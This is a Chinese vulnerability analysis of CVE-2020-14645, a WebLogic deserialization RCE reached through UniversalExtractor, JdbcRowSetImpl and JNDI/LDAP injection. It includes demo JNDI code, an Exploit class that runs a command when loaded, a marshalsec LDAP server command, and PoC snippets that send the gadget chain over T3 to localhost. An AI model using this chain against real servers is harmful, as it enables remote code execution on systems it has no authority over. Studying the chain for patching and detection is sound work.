CVE-2020-14645——WebLogic反序列化

 

一、原理

(一)概述

Weblogic 的反序列化RCE漏洞 CVE-2020-14645,是对 CVE-2020-2883的补丁进行绕过。

CVE-2020-2555和CVE-2020-2883本质上是通过ReflectionExtractor调用任意方法,从而实现调用Runtime对象的exec方法来执行任意命令,为了“斩草除根”,CVE-2020-2883补丁将ReflectionExtractor列入黑名单。

(二)CVE-2020-14645

CVE-2020-2883可以通过 ReflectionExtractor 调用任意方法,因而补丁依然选择将ReflectionExtractor这一可被利用的类列入黑名单。

大牛发现,UniversalExtractor 任意调用 get、is方法也可导致可利用的 JDNI 远程动态类加载。于是他们放弃ReflectionExtractor,配合JNDI注入,使用UniversalExtractor来重新构造一条利用链。


UniversalExtractor 是 Weblogic 12.2.1.4.0 版本中独有的,环境搭建时要注意这一点。

(三)原理

1.工具

这里起LDAP服务用到了一个工具marshallsec(当然自己起也没有问题),下载链接

maven下载

新建环境变量MAVEN_HOME,赋值C:\XXXX\maven,编辑环境变量Path,追加%MAVEN_HOME%\bin\;

cmd检查一下mvn是否安装成功:

mvn -v

使用java8编译。

mvn clean package -DskipTests

2.原理

个人感觉JNDI注入这一方法和RMI攻击具有比较高的相似性,都是让victim向攻击者控制的远程服务器发起请求,远程服务器返回内容,流程上甚至可以用同一幅图,

1.攻击者向其控制的Naming/Directory服务上绑定一个恶意对象。

2.攻击者向有漏洞的JDNI lookup方法发送恶意URL(ip为恶意N/D,且指向绑定的恶意对象)。

3.Victim执行lookup。

4.Victim向攻击者控制的N/D服务器发起查询,N/D返回恶意对象。

5.Victim反序列化恶意对象,触发RCE。

JNDI(全称Java Naming and Directory Interface)是用于目录服务的Java API,它允许Java客户端通过名称发现和查找数据和资源(以Java对象的形式)。与与主机系统接口的所有Java api一样,JNDI独立于底层实现。此外,它指定了一个服务提供者接口(SPI),该接口允许将目录服务实现插入到框架中。通过JNDI查询的信息可能由服务器、文件或数据库提供,选择取决于所使用的实现。

个人理解,JNDI注入简单来说,就是在victim在执行lookup(URI)时,如果URI是恶意的,那么victim就会被攻击,所以JDNI最难的就是如何让victim来lookup我们构造的URI。

下面我们以一个常见的demo来简单演示JNDI攻击过程,

先是JNDIServer,

package JNDI;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;

public class JNDIServer {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference Exploit = new Reference("Exploit", "Exploit", "http://127.0.0.1:7077/");
        ReferenceWrapper refObjWrapper = new ReferenceWrapper(Exploit);
        registry.bind("Exploit", refObjWrapper);

    }
}

再是JNDIClient,

package JNDI;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.util.Properties;

public class JNDIClient {
    public static void main(String[] args) throws NamingException {
        Properties env = new Properties();
        env.put(Context.INITIAL_CONTEXT_FACTORY,
                "com.sun.jndi.rmi.registry.RegistryContextFactory");
        env.put(Context.PROVIDER_URL,
                "rmi://127.0.0.1:7099/");

        Context ctx = new InitialContext(env);
        //ctx.lookup("Exploit");
        //ctx.lookup("rmi://127.0.0.1:1099/Exploit");
        ctx.lookup("ldap://127.0.0.1:7099/Exploit");
    }
}

然后是我们要注册的恶意类,此处是Exploit,

import java.util.Hashtable;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;

public class Exploit implements ObjectFactory {
    public Exploit() {
    }

    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        return null;
    }

    static {
        try {
            String[] cmd = new String[]{"calc"};
            Runtime.getRuntime().exec(cmd);
        } catch (Exception var1) {
            var1.printStackTrace();
        }

    }
}

接下来编译Exploit,并将class文件放在httpserver根目录下,而不是out目录下(如此则效果不对),

启动server,

启动JNDIServer,

启动JNDIClient,

我们跟进调试一下触发的过程,

最终的调用栈,

我们从底到顶看看运行流程,

下面的几个lookup主要是用于建立连接,

更重要的还是在上面的几步,

先看decodeObject,

这一部分从服务端返回的ReferenceWrapper_Stub中get出Reference,

接下来的getObjectInstance中通过Reference获取Factory的实例,

至于是怎么获得的,需要我们跟进到最顶的函数getObjectFactoryFromReference,

关键代码:

 // Try to use current class loader
        try {
             clas = helper.loadClass(factoryName);
        } catch (ClassNotFoundException e) {
            // ignore and continue
            // e.printStackTrace();
        }
        // All other exceptions are passed up.

        // Not in class path; try to use codebase
        String codebase;
        if (clas == null &&
                (codebase = ref.getFactoryClassLocation()) != null) {
            try {
                clas = helper.loadClass(factoryName, codebase);
            } catch (ClassNotFoundException e) {
            }
        }

从注释中我们也可以看出,这一部分先尝试从本地load class,如果失败(clas 为 null)无需做异常处理,改为从codebase中load class,

这里我们的class是恶意类,本地一般不会有,所以还是要从codebase中load,

再向下运行一步,就会弹出计算器,

如果上面从这个点跟进loadClass,又能看到更细致的内容,

步入forName,

再向深跟几步,

这里开始正式加载class,

此时的部分调用栈,

此时即将执行命令calc,

下面将加载许多系统类,

个人感觉到这里就可以了,再向下也没有什么信息,还是load system 类 class的相关操作。

Exploit类加载完成,

和主体无关的话:跟了挺久之后才发现其实在Exploit里面下断就可以得到想要的调用栈和点了,不需要憨憨一样深入的跟,

这一小节我们看到,只要一个合适的lookup(),即可弹出计算器。lookup之前这里是写好了的,lookup之后有系统调用帮我们完成。当然我们其实是省去了最难的lookup之前这一部分,亦即让victim向JNDI server发起请求,这一部分的实现我们将在调试环节详细演示。

 

二、调试

(一)环境搭建

鉴于漏洞用到的UniversalExtractor是WebLogic 12.2.1.4.0所特有的,而vulhub\weblogic均是10.3.6版本的,搭建相应的docker也需要下载相应的jar,不如直接搭在本机上,

搭建过程中踩了几个小坑,主要的原因就是JDK的版本比较多,环境变量和Oracle的设定不统一,如遇这种情况可以把Path里的%JAVA_HOME\bin提到最前面。

另外,根据查到的资料,建议使用JDK8中版本较低的(191以下),否则可能会出现类似于下面这样配置上的错误(比如1.8.0.151可以去华为镜像下载)

以管理员权限启动cmd,切换到jdk_xxxx\bin 目录运行命令,

即可进入安装,

下面的安装环节比较简单,

安装完成后配置域,

配置完成后启动,

查看界面,http://127.0.0.1:7001/console

成功。

配置调试环境与之前类似,可以参考Windows调试WebLogic

调试环境中会用到的lib是coherence。

(二)复现

这里复现难度不大,网上有很多可用的PoC,只要起了httpServer和LDAP Server,发PoC即可,

将恶意class文件放在httpserver根目录,先起Httpserver,跟上面一样即可,比较简单了,

py -3 -m http.server 7077

再起LDAPserver,可以像demo里那样自己起,也可以用工具,

比如marshallsec,

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:7077/#Exploit 7099

marshalsec-0.0.3-SNAPSHOT-all.jar为我们编译好的jar文件,marshalsec.jndi.LDAPRefServer 意为我们起的是LDAPServer(另一种即RMIServer),http://127.0.0.1:7077/#Exploit为codebase(http server),7099即监听的LDAP端口。

运行PoC即可,

(三)调试

1.概况

先简单看下marshallsec的LDAPServer的运作流程,其中有比较多的底层的操作,只稍作跟踪,

作为Server,必然有监听的功能,建立与Client 的连接,

准备LDAPMessage,

接下来的部分才是本篇重点,针对让victim发起lookup查询的过程。

最终能实现的效果,lookup(可控的URI),

先上调用栈,

connect:624, JdbcRowSetImpl (com.sun.rowset)
getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
extractComplex:432, UniversalExtractor (com.tangosol.util.extractor)
extract:175, UniversalExtractor (com.tangosol.util.extractor)
compare:71, ExtractorComparator (com.tangosol.util.comparator)
siftDownUsingComparator:722, PriorityQueue (java.util)
siftDown:688, PriorityQueue (java.util)
heapify:737, PriorityQueue (java.util)
readObject:797, PriorityQueue (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1158, ObjectStreamClass (java.io)
readSerialData:2173, ObjectInputStream (java.io)
readOrdinaryObject:2064, ObjectInputStream (java.io)
readObject0:1568, ObjectInputStream (java.io)
readObject:428, ObjectInputStream (java.io)
readObject:73, InboundMsgAbbrev (weblogic.rjvm)
read:45, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:325, MsgAbbrevJVMConnection (weblogic.rjvm)
init:219, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:557, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:666, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:397, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:993, SocketMuxer (weblogic.socket)
readReadySocket:929, SocketMuxer (weblogic.socket)
process:599, NIOSocketMuxer (weblogic.socket)
processSockets:563, NIOSocketMuxer (weblogic.socket)
run:30, SocketReaderRequest (weblogic.socket)
execute:43, SocketReaderRequest (weblogic.socket)
execute:147, ExecuteThread (weblogic.kernel)
run:119, ExecuteThread (weblogic.kernel)

2.JdbcRowSetImpl部分

我们看到,JdbcRowSetImpl的connect函数有可能能够传可控的参数并调用lookup,下面我们分析一下,假设有一个函数调用了connect(),如何才能顺利调用其中的lookup,

首先一点就是要保证这是首次连接,只有这样才能保证进入else if{}中,其次就是this.getDataSourceName()不为null,接下来我们跟踪看看getDataSourceName(),

dataSource是private变量,是可控的,

这一部分在PoC中有所体现,

JdbcRowSetImpl rowSet = new JdbcRowSetImpl();
rowSet.setDataSourceName("ldap://127.0.0.1:7199/Exploit");

下面一个问题就是,怎么调用connect,

这里有三个函数prepare, getDatabaseMetaData,setAutoCommit,

都看一下,

眼拙,感觉都可以,因为都可以做到首次连接。

PoC里用的是getDatabaseMetaData,到此,我们看看PoC对应的代码,

UniversalExtractor extractor = new UniversalExtractor("getDatabaseMetaData()", null, 1);
final ExtractorComparator comparator = new ExtractorComparator(extractor);
JdbcRowSetImpl rowSet = new JdbcRowSetImpl();
rowSet.setDataSourceName("ldap://127.0.0.1:7199/Exploit");

第一行构造UniversalExtract对象(参数的设计在下面解释),用于调用JdbcRowSetImpl对象的方法,第三四行就按照我们需要的:控制dataSourceName,第二行放在下面一起解释。

3.UniversalExtractor部分

(1)UniversalExtractor.findMethod()部分

接下来我们关注如何能让UniversalExtractor顺利调用JdbcRowSetImpl的getDatabaseMetaData()。

在UniversalExtractor.extractComplex()末尾有method.invoke(),

这一行关键代码涉及3个元素,

我们不仅要保证能运行到这一行,还要保证运行到这的时候这3个元素都是我们需要的那样(见上),

这就需要好好分析一下extractComplex的运行流程,

aoParam是可控的,直接在构造函数中写即可,

oTarget是extractComplex的参数,而且传进来之后没有做任何改动,我们需要它是JdbcRowSetImpl对象,这里我们先假设这个参数是我们可控的。

所以这里的问题就是,怎样控制method为com.sun.rowset.JdbcRowSetImpl.getDatabaseMetaData(),

经过观察,我们可以得知,method主要与这几行代码有关,

这就促使我们去分析findMethod,

可以看出,在红框的那一行代码中,返回了clz.getMethod(),clz就是oTarget,sName是传的参数,

在假设了oTarget为JdbcRowSetImpl的前提下,我们需要关注三个点:sName、aclzParam和怎么进入这个if语句。

先看怎么进入这个if{},

首先传进来的fStatic为false,可以不看,fExactMatch虽然初值为true,然可能会经过for()循环中的if{}被改为false,

所以我们要设计一下,使运行流程不改变fExactMatch,最容易想到的就是令aclzParam为空数组,

这就得分析一下aclzParam是怎么来的,

分析extractComplex,

我们可以看到,是从getClassArray得来的,

这里将传入的参数aoParam设为null即可,这样的话aclzParam的值和怎么进入if这两个问题就解决了,还差一个sName的设定,这里我们想使sName为getDatabaseMetaData,

(2)杂项部分

观察这几行代码,

显然我们有两条似乎可行的路,一是令fProperty为true,通过一些拼接操作获得sName;二是令其为false,通过getMethodName()获得sName。

PoC在这里选择了第一条路,我们分析下,

fProperty为true时,sCName的首字母会被改为大写,赋值给sBeanAttribute,

然后会在for循环里依次拼接上BEAN_ACCESSOR_PREFIXES的元素,

最巧妙的是这个数组里的第一个元素就为”get”,若是拼接上首字母转为大写的DatabaseMetaData正好是getDatabaseMetaData,

这里又面临着两个问题,一是如何让sCName为databaseMetaData,二是让如何让fProperty为true,这两个点缺一不可。

先看sCName的来源,

跟进之,

先跟进lambdas的这个函数,其参数为写死的this,

此处的oLambda为写死的this,故而if判断的结果也是确定的,因而必会返回null。

接下来要关注的就是这一步,

不知是什么,跟进吧,

前面我们分析得知,aoParam要为null,所以第一个if就不看了,而sName后面传给findMethod时要拼接上get或is,else if这里也是不行的,所以我们要关注else,

我们看这里,如果sName的前缀是get或is,会被去掉前缀然后返回,某种程度上说这和传给findMethod时添加get或is前缀正负相消,可以控制sName为”getDatabaseMetaData()”,这样就能进入else,并且去掉get前缀,在传给findMethod时再加上。

另一个问题是fProperty的问题,跟进isPropertyExtractor()方法,

我们看到,m_fMethod是tramsient类型的,这类变量是无法反序列化的,没法以字节流的格式直接传过去,

这一段也不知为什么,找usage也找不到,只能手动寻找,这里找到init(),

init()只在有参构造函数中被调用,对于改变m_fMethod的值是没有用的,

但mfMethod作为transient变量,不会被反序列化,构造时若无其他操作则是使用默认值,对于boolean变量来说是false,参见[参考链接][https://blog.csdn.net/Todo/article/details/52183662]

4.Queue部分

这个问题解决了,就该验证我们的假设是否成立,即oTarget是不是我们可控的,

PriorityQueue作为一个反序列化利用基类,我们从它的readObject开始,

这里正常读取字节流,并将s.readObject()赋值给queue[i],

跟进heapify(),

这里取一半调用siftDown,要想进入siftDown,则长度至少为2,

跟进siftDown,

这里涉及到comparator,我们查看其来源,

发现其可以由构造函数设定,另外queue也可以在构造函数中被初始化,

这就好说一些了,

跟进siftDownUsingComparator,

可以看出,必会走comparator.compare(),跟进之,

现在我们知道,o1和o2是我们可控的JdbcRowSetImpl,而且会走(Comparable)this.m_extractor.extract(o1)这一步,

先看下m_extractor的来源,

是可以在构造函数里设定的,

在PoC中,我们跟进,

final ExtractorComparator comparator = new ExtractorComparator(extractor);

可见,

所以m_extractor为我们构造好的UniversalExtractor,跟进其内extract,观察能否和我们设计好的extractComplex连上,

我们看到,确实有extractComplex,下面分析运行流程,

首先进入第一个else是必然的,能否进入第二个else则和targetPrev有关,

这也是一个transient类型,而且没有做初始化。

因之,其默认值是null,可以进入第二个else,

接下来就进入了我们前面设计好情境的extractComplex,

对应PoC代码,

final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);

Object[] q = new Object[]{rowSet, rowSet};
Reflections.setFieldValue(queue, "queue", q);
Reflections.setFieldValue(queue, "size", 2);
byte[] payload = Serializables.serialize(queue);
T3ProtocolOperation.send("127.0.0.1", "7001", payload);

至此分析完毕。

 

三、收获与启示

首先最大的感受就是调试难度很大,这是我在学习上花费时间最长的一个CVE。难度一方面体现在感受整个链路是怎么设计的,另一方面体现在分析几个变量的值是怎么来的,进而怎么让流程按照我们想要的走向前进的。

为了便于解决这个问题,我已经将整个链路按照每一部分的主角类分了段,但每一段内关于变量的值和走向问题又能分出几个部分。另外,这个链条与之前的CVE-2015-4852相比差异已经很大了,可以说已经发展到了另一个形态。

大体调完WebLogic的这一系列漏洞,我对其间绕过的认识是:恶意对象是有限的,所以绕过基于换反序列化点。

具体说来:

CVE-2015-4852是直接在常规读取点进行恶意类的反序列化;

黑名单禁止在常规读取点反序列化恶意类之后,CVE-2016-3510和CVE-2016-0638找到了具有反序列化自身成员变量的类,将恶意对象的反序列化的点转移到了这些类的内部;

当黑名单封禁了这些类之后,CVE-2017-3248通过RMI发送看似无害的payload,让victim向远程JRMP Server发起请求,而JRMP Server的返回值不再是一个正常的Lease,而是一个恶意的对象,这就将反序列化点转移到了DGC层面;

JNDI注入又将反序列化的点换到了JNDI的层面,在demo里我们也看到了,一个lookup()可以直接加载远程恶意类,和之前的点又不一样。

(完)